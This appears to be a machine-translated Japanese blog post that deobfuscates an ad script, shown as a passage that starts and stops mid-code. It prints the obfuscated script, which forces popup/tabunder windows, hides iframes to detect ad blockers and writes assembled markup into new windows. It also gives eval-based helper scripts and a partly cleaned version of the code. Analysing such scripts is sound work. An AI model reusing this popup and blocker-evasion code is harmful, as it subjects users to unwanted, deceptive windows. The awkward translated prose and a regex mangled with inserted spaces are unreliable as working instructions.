@return {undefined} */ var success = function() { /** @type {string} */ var px = "?q"; /** @type {string} */ e4Z6h[G6h]["location"] = el.href + px; }; self = e4Z6h[G6h]["open"](str); if (I3x.P2h(result, undefined)) { /** * @param {(Object|string)} details * @return {undefined} */ var report = function(details) { /** @type {(Object|string)} */ self.location = details; }; report(result); } else { /** * @param {Object} elem * @return {undefined} */ var removeEvent = function(elem) { self.location = elem.location; }; removeEvent(window); } success(); group(obj); el.parentNode.removeChild(el); return; } self = e4Z6h[G6h]["open"](path); self.document.write(decodeURIComponent(sign) + (h + m + content + v + h + total + v + ms + guardPart + varPart + clazz + style + indentCharacter + i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + I3x.Y2h + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS)); el.parentNode.removeChild(el); }, I3x.Z2h); }; }(); var drawBorder = function() { /** @type {(number|string)} */ var v = (74, 130) <= 448 ? (126, ")") : (240, 637); /** @type {string} */ var b = "AAIB"; /** @type {string} */ var r = "AE"; /** @type {string} */ var groupId = "BA"; /** @type {string} */ var ele = "LA"; /** @type {string} */ var epath = "AEAAA"; /** @type {string} */ var suffix = "B"; /** @type {string} */ var args = "5"; /** @type {string} */ var H = "H"; /** @type {string} */ var x = "y"; /** @type {string} */ var w = "///"; /** @type {string} */ var $ = "AA"; /** @type {string} */ var re = "AAA"; /** @type {string} */ var PYTHON_KEYWORDS = "BAIA"; /** @type {string} */ var PERL_KEYWORDS = "QA"; /** @type {string} */ var JSCRIPT_KEYWORDS = "ODlhA"; /** @type {(number|string)} */ var CSHARP_KEYWORDS = (145, 58) < 243 ? (310, "G") : 407 <= (358, 75) ? (723, "px") : (527, 1230) <= (158, 8) ? "O" : (99, 754); /** @type {string} */ var separator = "0l"; /** @type {string} */ var string = "R"; /** @type {string} */ var inner = "e64"; /** @type {string} */ var s = "as"; /** @type {string} */ var name = "b"; /** @type {(number|string)} */ var closer = (1321, 1362) >= (92, 1387) ? (104, "F") : 190 <= (813, 703) ? (126, "g") : (915, 37) > (87, 51) ? 84 : (1352, 76); /** @type {string} */ var expires = "age"; /** @type {(number|string)} */ var value = (1343, 175) < (585, 11) ? (1278, "K") : (291, 521) < (301, 63) ? 743 : (951, 149) < (137, 1386) ? (894, "m") : (29, 237); /** @type {string} */ var spaceAfter = "at"; /** @type {(number|string)} */ var last = 103 >= (177, 242) ? (573, "d") : (699, 383) < (365, 309) ? (444, 543) : (436, 1476) > (290, 93) ? (230, 999999) : (143, 579); /** @type {string} */ var div = "div"; /** * @param {(number|string)} backgroundImage * @return {undefined} */ var backgroundImage = function(backgroundImage) { /** @type {(number|string)} */ node.style.backgroundImage = backgroundImage; }; /** * @param {number} last * @return {undefined} */ var process = function(last) { /** @type {number} */ node.style.zIndex = last; }; var node = e4Z6h[O6h]["createElement"](div); process(last); backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v); return function(elems) { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == (1089 < (1422, 106) ? 32 : (22, 560) > (529, 364) ? (31, 4) : (1268, 314)) && (m1.charCodeAt((99, 919) > 285 ? (11, 3) : (861, 400) <= 217 ? 88 : (488, 474) > (1330, 522) ? (1262, 549) : (17, 395)) == 121 && (m1.charCodeAt(462 <= (76, 567) ? (320, 2) : 112 < (104, 70) ? "m" : (17, 731)) == 100 && m1.charCodeAt(0) == ((342, 16) < (212, 979) ? (42, 98) : (43, 1227))))) { break; } } var testElement = node.cloneNode(I3x.H2h); var i; for (i in elems) { if (Object.prototype.hasOwnProperty.call(elems, i)) { /** * @param {Object} object * @return {undefined} */ var debug = function(object) { testElement.style[i] = object[i]; }; debug(elems); } } e4Z6h[O6h][m1]["appendChild"](testElement); return testElement; }; }(); traverseNode(node); /** * @return {undefined} */ e4Z6h[G6h][timeoutKey] = function() { if (I3x.h5h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { node(); } }; } catch (x) { } })({ j5h : "", U5h : 1397381, n5h : 3, g5h : 3, R2h : 45, t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h : "" }, "_hmiadab", "_ihlnws");
      
      







便宜上、今後はGoogle Chromeエンジンに基づいたテキストエディターであるAtomを使用します。おそらくあなたはより便利なツールに精通している-私はコメントや提案を喜んでいるでしょう。



はじめに、JSNiceの後に残ったコード難読化のタイプを見てみましょう。



  1. 完全にランダムな名前および/または短い名前を実際の変数名に置き換える; (一般に、これは標準のコード圧縮技術であり、jsniceはdataAndEvents、deepDataAndEvents、name、indexなどの奇妙な名前をそこに注ぎました-少なくともどこに行くのかを追跡するのが簡単でした)
  2. 乗算、減算、シフト、および比較の機能を直接使用する代わりに、基本機能の辞書オブジェクト。



     var I3x = { O2h : function(a4, b1) { return a4 * b1; } }; //    var z = I3x.O2h(a, b); //  z = a * b;
          
          



  3. 関数本体にフルネームを保存せずに、ウィンドウとドキュメントのプロパティの実際の名前を非表示にします。



     var P6h; for (P6h in window) { if (P6h.length === 9 && (P6h.charCodeAt(6) === 116 && (P6h.charCodeAt(8) === 114 && (P6h.charCodeAt(4) === 103 && P6h.charCodeAt(0) === 110)))) { break; } // P6h = 'navigator'; //        window  //   ,        }
          
          



  4. ランダムな定数から三項演算子を介して混乱の中で単純な数値と文字列値を非表示にし、フォーム(a、b、c)のブロックがリストの最後の値を返すという事実。



     (39, 10) <= (571, 36) ? (40, 9) : (41, 73) >= (3, 356) ? 115 : (491, 125) //   9
          
          



  5. 関数内の個々の行をレイアウトすることにより、コード実行の実際の順序を隠します。



     // -      var success = "text/javascript"; var varname = "script"; //    10  var complete = function(type) { fill.type = type; }; //    var fill = window.document.createElement(varname); //    SCRIPT complete(success); //    fill.type = "text/javascript"
          
          



  6. テキストを小さなパーツに分割して非表示にし、さまざまなレベルの変数に保存し、後でこれらのパーツから組み立てます。



     //     (function a() { var label = 'f'; var z = 'r'; var s = 't'; function b() { var expected = 'al'; var matches = 's'; return label + expected + matches + meridiem; } var meridiem = 'e'; var max = 'u'; console.log(b()); // "false" console.log(s + z + max + meridiem); // "true" })();
          
          





私たちはこのすべての悪を取り除き始めます。



e4Z6hはどこにも再割り当てされず、どの要素とも交差しないため、単純にテキストの置換を実行し、変数自体をコードから除外して忘れることができます。



次に、定期的な置換によって「(a、b)」という形式の構築を取り除きます
 \((\ d +(E \ d +)?| "[^"] + "+ | true | false | null)、\ s *(\ d +(E \ d +)?|" [^ "] +" + | true | false | null)\) 
3ドル そのようなブロックがすべてなくなるまで繰り返します。これは、三元関数のとげから私たちを救うわけではありませんが、それらを非常に単純化します。少なくとも今では、それらのあるブロックの内側にブラケットはもうないはずです。外側のブラケットは、これらのブロックの境界と見なすことができます。スクリプト全体には1つの例外がありますが、1つは手動で処理できます。



残念ながら、あなたは純粋なレギュラーでもう逃げられないので、スクリプトでこのコードを磨き始めます。まず、三項演算子の茂みを取り除きます。



 let _scr = `... ...`; let _match = _scr.match(/(\(|[,=]\s)[^,;{()]+?\?[^)]+?:[^)]+?[);](?!")/g); let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } }; for (let _code of _match) { let _parts = _code.match(/^(\(|[,=]\s)([\s\S]+?)([);])$/); _scr = _scr.replace(_code, `${_parts[1]}${_eval(_parts[2])}${_parts[3]}`, 1); } console.warn(_scr);
      
      





130 <= 448を置き換える必要がありますか?「)」:ちょうど「)」に637。



次に、ウィンドウとドキュメントの関数名の検索を削除してみましょう。

次のコードが役立ちます。



 let _scr = `...`; let _match = _scr.match(/var\s([\d\w]+);\s*for\s*\(([\d\w]+)\sin\swindow[^{]+{\s*if[^{]+{\s*break;\s*}\s*}/g); let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } }; let _stack = []; for (let _code of _match) { let _name = _code.match(/var\s([\d\w]+);/)[1]; let _res = `var ${_name} = "${_eval(`(function(){${_stack.join('')}${_code};return ${_name};})()`)}";`; _stack.push(_res); _scr = _scr.replace(_code, `${_res} // <- replaced lookup`, 1); } console.warn(_scr);
      
      





これで、コードを調べて、コメント「replaced lookup」でマークされた値の置換を実行できます。同時に、コード内のI3x関数ライブラリの定数(I3x.Y2h =>“ t”、I3x.H2h => false、I3x.Z2h => true)を値自体に置き換え、ライブラリから削除します。



上記のすべての置換後のコード
 "use strict"; var I3x = { /** * @param {number} a4 * @param {number} b1 * @return {?} */ "O2h" : function(a4, b1) { return a4 * b1; }, /** * @param {?} newVal * @param {?} oldVal * @return {?} */ "R5h" : function(newVal, oldVal) { return newVal !== oldVal; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "j6h" : function(a, b) { return a > b; }, /** * @param {?} deepDataAndEvents * @param {?} el * @return {?} */ "L2h" : function(deepDataAndEvents, el) { return deepDataAndEvents === el; }, /** * @param {?} i * @param {Object} arr2 * @return {?} */ "V6h" : function(i, arr2) { return i in arr2; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "Q6h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {?} v02 * @param {?} dataAndEvents * @return {?} */ "M6h" : function(v02, dataAndEvents) { return v02 !== dataAndEvents; }, /** * @param {number} object * @param {number} backoff * @param {number} value * @param {number} data * @return {?} */ "G2h" : function(object, backoff, value, data) { return object * backoff * value * data; }, /** * @param {number} dataAndEvents * @param {number} obj * @return {?} */ "H5h" : function(dataAndEvents, obj) { return dataAndEvents * obj; }, /** * @param {?} callback * @param {?} value * @return {?} */ "S6h" : function(callback, value) { return callback === value; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "a5h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} to * @param {number} from * @return {?} */ "J5h" : function(to, from) { return to - from; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "u5h" : function(a, b) { return a > b; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "z6h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {number} deepDataAndEvents * @param {number} n * @return {?} */ "N5h" : function(deepDataAndEvents, n) { return deepDataAndEvents <= n; }, /** * @param {?} regex * @param {?} timer * @return {?} */ "T5h" : function(regex, timer) { return regex === timer; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "e6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "K6h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} value * @param {number} regex * @return {?} */ "C2h" : function(value, regex) { return value * regex; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "c5h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} regex * @return {?} */ "u6h" : function(deepDataAndEvents, regex) { return deepDataAndEvents >> regex; }, /** * @param {number} dataAndEvents * @param {number} xs * @param {number} v00 * @return {?} */ "a2h" : function(dataAndEvents, xs, v00) { return dataAndEvents ^ xs ^ v00; }, /** * @param {?} a * @param {?} b * @return {?} */ "P5h" : function(a, b) { return a === b; }, /** * @param {?} name * @param {?} index * @return {?} */ "U2h" : function(name, index) { return name === index; }, /** * @param {(boolean|number)} i * @param {(boolean|number)} regex * @return {?} */ "B5h" : function(i, regex) { return i >= regex; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "e5h" : function(a, b) { return a > b; }, /** * @param {?} name * @param {?} index * @return {?} */ "A5h" : function(name, index) { return name === index; }, /** * @param {number} v02 * @param {number} regex * @return {?} */ "r6h" : function(v02, regex) { return v02 >> regex; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "z5h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} k * @param {number} n * @return {?} */ "m5h" : function(k, n) { return k - n; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "r5h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {string} deepDataAndEvents * @param {string} args * @return {?} */ "o2h" : function(deepDataAndEvents, args) { return deepDataAndEvents == args; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "f6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} wait * @return {?} */ "p5h" : function(deepDataAndEvents, wait) { return deepDataAndEvents <= wait; }, /** * @param {?} a * @param {?} b * @return {?} */ "E6h" : function(a, b) { return a === b; }, /** * @param {number} _id * @param {number} n * @return {?} */ "x6h" : function(_id, n) { return _id >> n; }, /** * @param {number} value * @param {number} end * @return {?} */ "M5h" : function(value, end) { return value <= end; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "X6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "i5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {number} value * @param {number} regex * @return {?} */ "C6h" : function(value, regex) { return value >> regex; }, /** * @param {number} value * @param {number} execResult * @return {?} */ "W6h" : function(value, execResult) { return value <= execResult; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "J6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_fromIndex * @return {?} */ "n6h" : function(deepDataAndEvents, opt_fromIndex) { return deepDataAndEvents <= opt_fromIndex; }, /** * @param {string} el * @param {string} value * @return {?} */ "S5h" : function(el, value) { return el == value; }, /** * @param {?} deepDataAndEvents * @param {?} val1 * @return {?} */ "k2h" : function(deepDataAndEvents, val1) { return deepDataAndEvents !== val1; }, /** * @param {number} i * @param {number} regex * @return {?} */ "q6h" : function(i, regex) { return i < regex; }, /** * @param {string} deepDataAndEvents * @param {string} result * @return {?} */ "K2h" : function(deepDataAndEvents, result) { return deepDataAndEvents == result; }, /** * @param {string} dataAndEvents * @param {string} value * @return {?} */ "G5h" : function(dataAndEvents, value) { return dataAndEvents == value; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "H6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_attributes * @return {?} */ "K5h" : function(deepDataAndEvents, opt_attributes) { return deepDataAndEvents & opt_attributes; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "x5h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} far * @param {number} near * @return {?} */ "y5h" : function(far, near) { return far - near; }, /** * @param {number} el * @param {number} value * @return {?} */ "V5h" : function(el, value) { return el == value; }, /** * @param {number} _id * @param {number} v02 * @return {?} */ "b6h" : function(_id, v02) { return _id < v02; }, /** * @param {string} deepDataAndEvents * @param {string} collection * @return {?} */ "A6h" : function(deepDataAndEvents, collection) { return deepDataAndEvents == collection; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "D6h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "g6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {number} v02 * @param {number} dataAndEvents * @return {?} */ "o5h" : function(v02, dataAndEvents) { return v02 & dataAndEvents; }, /** * @param {number} keepData * @param {number} dataAndEvents * @return {?} */ "C5h" : function(keepData, dataAndEvents) { return keepData < dataAndEvents; }, /** * @param {?} value * @param {?} target * @return {?} */ "N6h" : function(value, target) { return value === target; }, /** * @param {number} far * @param {number} near * @return {?} */ "i2h" : function(far, near) { return far - near; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "p6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {?} dataAndEvents * @param {?} activeXObj * @return {?} */ "l5h" : function(dataAndEvents, activeXObj) { return dataAndEvents === activeXObj; }, /** * @param {number} i * @param {number} times * @return {?} */ "F6h" : function(i, times) { return i < times; }, /** * @param {Function} type * @param {Function} operator * @return {?} */ "U6h" : function(type, operator) { return type == operator; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "O5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} T * @param {number} dataAndEvents * @return {?} */ "v5h" : function(T, dataAndEvents) { return T < dataAndEvents; }, /** * @param {number} operator * @param {number} backoff * @return {?} */ "s5h" : function(operator, backoff) { return operator * backoff; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "h5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} a * @param {number} b * @return {?} */ "t6h" : function(a, b) { return a - b; }, /** * @param {?} i * @param {?} l * @return {?} */ "D5h" : function(i, l) { return i < l; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "I5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "P2h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} callback * @return {?} */ "w5h" : function(dataAndEvents, callback) { return dataAndEvents >> callback; }, /** * @param {number} opt_attributes * @param {number} dataAndEvents * @return {?} */ "W5h" : function(opt_attributes, dataAndEvents) { return opt_attributes << dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} execResult * @return {?} */ "k5h" : function(deepDataAndEvents, execResult) { return deepDataAndEvents <= execResult; }, /** * @param {?} a * @param {?} b * @return {?} */ "q5h" : function(a, b) { return a === b; }, /** * @param {?} value * @param {?} target * @return {?} */ "B6h" : function(value, target) { return value === target; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "v6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "k6h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "y6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "Y5h" : function(res, contexts) { return res === contexts; }, /** * @param {number} deepDataAndEvents * @param {number} callback * @return {?} */ "m6h" : function(deepDataAndEvents, callback) { return deepDataAndEvents <= callback; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "X5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "l6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents << deepDataAndEvents; }, /** * @param {number} regex * @param {number} timer * @return {?} */ "Z5h" : function(regex, timer) { return regex !== timer; }, /** * @param {?} callback * @param {?} b * @return {?} */ "d2h" : function(callback, b) { return callback === b; }, /** * @param {number} deepDataAndEvents * @param {number} timer * @return {?} */ "s6h" : function(deepDataAndEvents, timer) { return deepDataAndEvents <= timer; }, /** * @param {number} el * @param {number} value * @return {?} */ "Q5h" : function(el, value) { return el == value; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "w2h" : function(res, contexts) { return res === contexts; }, /** * @param {number} _id * @param {number} n * @return {?} */ "T6h" : function(_id, n) { return _id >> n; }, /** * @param {number} a * @param {number} b * @return {?} */ "d5h" : function(a, b) { return a - b; } }; var f5h = function() { /** * @param {?} val * @param {?} value * @return {?} */ function resolve(val, value) { /** @type {string} */ var i = "urn"; /** @type {string} */ var obj = "ret"; /** @type {string} */ var o = "rn"; /** @type {string} */ var n = "tu"; /** @type {string} */ var name = "r"; /** @type {Array} */ var a = []; var regexp2_fn = true; var text = false; var callback = undefined; try { var entry = val[I2h.h2h](); var pair; for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = true) { a.push(pair.value); if (value && I3x.B6h(a.length, value)) { break; } } } catch (r20) { /** * @param {(number|string)} regex * @return {undefined} */ var keys = function(regex) { /** @type {(number|string)} */ callback = regex; }; /** * @param {?} textAlt * @return {undefined} */ var loadNodeModules = function(textAlt) { text = textAlt; }; loadNodeModules(true); keys(r20); } finally { try { if (!regexp2_fn && entry[name + m + n + o]) { entry[obj + i](); } } finally { if (text) { throw callback; } } } return a; } /** @type {string} */ var m = "e"; return function(object, isXML) { /** @type {string} */ var i = "nc"; /** @type {string} */ var g = "le"; /** @type {string} */ var r = "terab"; /** @type {string} */ var p = "-"; /** @type {string} */ var c = "n"; /** @type {string} */ var article = "ructure"; /** @type {string} */ var n = "s"; /** @type {string} */ var b = "o"; /** @type {string} */ var EQUAL = "ttemp"; /** @type {string} */ var type = " "; /** @type {(number|string)} */ var _ = d; /** @type {(number|string)} */ var w = i; /** @type {(number|string)} */ var $3 = l; /** @type {string} */ var key = "a"; /** @type {string} */ var $1 = "Inv"; if (Array.isArray(object)) { return object; } else { if (I3x.V6h(I2h.h2h, Object(object))) { return resolve(object, isXML); } else { throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + "t" + type + "t" + b + type + _ + m + n + "t" + article + type + c + b + c + p + w + r + g + type + w + c + n + "t" + key + i + m); } } }; }(); (function(item, dataName, timeoutKey) { /** @type {string} */ var col = "("; /** @type {(number|string)} */ var g = A; /** @type {string} */ var j = ";"; /** @type {string} */ var $2 = ":"; /** @type {string} */ var i = "l"; /** @type {string} */ var style = "n"; /** @type {string} */ var failuresLink = "tabunder"; /** @type {string} */ var mouseup = "mouseup"; /** @type {string} */ var expected = "mousedown"; /** @type {string} */ var a = "uxngHWCMgWBNwpQg"; /** @type {string} */ var w2 = "00"; /** @type {string} */ var d2 = "0"; /** @type {string} */ var d1 = "4"; /** @type {(number|string)} */ var A_Z_a_z = 2; /** @type {string} */ var I2 = "300x250"; /** @type {string} */ var aba = "728x90"; /** @type {string} */ var baz = "120x240"; /** @type {string} */ var value2 = "234x60"; /** @type {string} */ var foo = "468x60"; /** @type {string} */ var radixToPower = "3.5.2"; /** @type {string} */ var customViewMenuOffsetWidth = "x"; /** @type {string} */ var v = "o"; /** @type {(number|string)} */ var content = d; /** @type {string} */ var _ = "f"; /** @type {string} */ var key = "i"; /** @type {string} */ var $1 = "t"; /** @type {string} */ var s = "c"; /** @type {string} */ var b = "e"; /** @type {number} */ var backoff = 1E3; /** @type {string} */ var min = "b"; /** @type {string} */ var c = "r"; /** @type {(number|string)} */ var slashSplit = ','; /** @type {string} */ var _j = "content"; /** @type {string} */ var STYLE = "style"; /** @type {(number|string)} */ var value = h; /** @type {string} */ var prefix = "u"; /** @type {string} */ var ms = "p"; /** @type {string} */ var e = "a"; /** @type {(number|string)} */ var name = s; /** @type {number} */ var udataCur = 60; /** @type {null} */ var obj = null; /** @type {string} */ var p = "P"; /** @type {number} */ var result = 23; /** @type {(number|string)} */ var which = 21; /** @type {number} */ var bytenew = 9; /** @type {number} */ var DOT_CALL_NO_PARENS = 17; /** @type {number} */ var r20 = 16; /** @type {number} */ var scripts = 15; /** @type {number} */ var pdataCur = 14; /** @type {number} */ var te = 13; /** @type {number} */ var passes = 12; /** @type {number} */ var base = 10; /** @type {(number|string)} */ var restoreScript = 6; /** @type {number} */ var pdataOld = 5; /** @type {number} */ var suiteView = 7; /** @type {number} */ var fromIndex = 8; /** @type {number} */ var selector = 4; /** @type {(boolean|number)} */ var match = 3; /** @type {(number|string)} */ var dontCloseTags = 8; /** @type {string} */ var typePattern = "7"; /** @type {string} */ var expectationResult = "10"; /** @type {string} */ var camelKey = "Windows"; /** @type {number} */ var idx = 1; /** @type {string} */ var k = ""; /** @type {(number|string)} */ var sel = 2; /** @type {(number|string)} */ var total = '.'; /** @type {number} */ var interval = 20; /** @type {string} */ var str = ""; /** @type {number} */ var id = 0; /** @type {string} */ var path = "/"; /** @type {string} */ var __dirname = "//"; try { /** * @param {?} object * @return {undefined} */ var isArguments = function(object) { child.b5h = object; }; /** * @return {undefined} */ var throttledUpdate = function() { /** @type {string} */ text = __dirname + index + path + child.L5h; }; /** * @param {?} other * @return {undefined} */ var toggle = function(other) { window["window"].zfgaabversion = other; }; /** * @param {?} value * @return {undefined} */ var isUndefinedOrNull = function(value) { child.L5h = value.U5h; }; /** * @param {?} node * @return {undefined} */ var traverseNode = function(node) { window["window"][dataName] = node; }; /** * @return {undefined} */ var tryIt = function() { /** @type {string} */ blank = __dirname + index + path + child.L5h + orig; }; /** * @return {?} */ var getIndex = function parse() { /** @type {string} */ var last = "5901cf07608da"; /** @type {string} */ var udataCur = "wmoaz2g6axi0p"; /** * @return {undefined} */ var walk = function() { prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop; }; if (I3x.u5h(src.length, id)) { return atob(src[id].split(str).reverse().join(str)); } var node = addChild(); var context = isBinary(node); var functionUid = clearStateChar(); var value = named(); var nodes = jQuery(node, context); var key = serializer(functionUid); var name = getName(value); var props = keys(); var prop = promote(name, key, nodes, id, id); var cache = {}; if (I3x.A5h(rvar, index2)) { cache = {}; } else { if (I3x.Y5h(rvar, progressContexts)) { cache = {}; } } walk(); var array = void id; if (I3x.U2h(rvar, index2)) { /** * @param {Node} value * @return {undefined} */ var setBit = function(value) { /** @type {Node} */ array = value; }; setBit(udataCur); } else { if (I3x.w2h(rvar, progressContexts)) { /** * @param {Node} last * @return {undefined} */ var process = function(last) { /** @type {Node} */ array = last; }; process(last); } } var result = {}; var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array; var restoreScript = prop + initial; return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props; }; /** * @param {Function} fn * @return {undefined} */ var valueAccessor = function runTest(fn) { if (!window["document"]["body"]) { /** @type {number} */ var timer = setTimeout(function run() { if (!window["document"]["body"]) { /** @type {number} */ timer = setTimeout(run, interval); return; } fn(); clearTimeout(timer); }, interval) } else { fn(); } }; /** * @param {Function} done * @param {Function} cb * @return {undefined} */ var toVLQSigned = function init(done, cb) { /** @type {number} */ var backoff = 400; /** @type {string} */ var pdataOld = "1px"; /** @type {string} */ var link = "iframe"; /** * @param {(number|string)} value * @return {undefined} */ var resize = function(value) { /** @type {(number|string)} */ node.width = value; }; /** * @param {(number|string)} value * @return {undefined} */ var Class = function(value) { /** @type {(number|string)} */ node.height = value; }; var node = window["document"]["createElement"](link); resize(pdataOld); Class(pdataOld); node.src = fn(); valueAccessor(function() { window["document"]["body"]["appendChild"](node); }); setTimeout(function() { /** @type {string} */ var deepDataAndEvents = "hidden"; /** @type {string} */ var udataCur = "none"; if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) { node.parentNode.removeChild(node); done(); } else { node.parentNode.removeChild(node); cb(); } }, backoff); }; /** * @param {Function} fn * @return {?} */ var getActual = function run(fn) { /** @type {number} */ var frequency = 300; var error = false; /** @type {number} */ var id = setInterval(function() { if (!error) { /** * @param {?} err * @return {undefined} */ var handler = function(err) { error = err; }; handler(true); fn(); clearInterval(id); } }, frequency); return id; }; /** * @param {(number|string)} name * @param {(number|string)} value * @param {(number|string)} selector * @param {number} id * @param {number} source * @return {?} */ var promote = function filter(name, value, selector, id, source) { var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel); return event; }; /** * @param {(number|string)} s * @param {string} n * @return {?} */ var trim = function parse(s, n) { /** @type {string} */ var result = s + k; for (;I3x.D5h(result.length, n);) { /** * @return {undefined} */ var promote = function() { /** @type {string} */ var padding = "0"; result = padding + result; }; promote(); } return result; }; /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ var jQuery = function clone(dataAndEvents, deepDataAndEvents) { /** @type {number} */ var ret = idx; if (I3x.G5h(dataAndEvents, camelKey)) { if (I3x.K2h(deepDataAndEvents, expectationResult)) { /** * @param {number} id * @return {undefined} */ var getCallback = function(id) { /** @type {number} */ ret = id; }; getCallback(sel); } else { if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) { /** * @param {number} arr * @return {undefined} */ var nullIds = function(arr) { /** @type {number} */ ret = arr; }; nullIds(match); } } } return ret; }; /** * @param {string} deepDataAndEvents * @return {?} */ var serializer = function get(deepDataAndEvents) { /** @type {string} */ var pdataOld = "1366"; /** @type {string} */ var 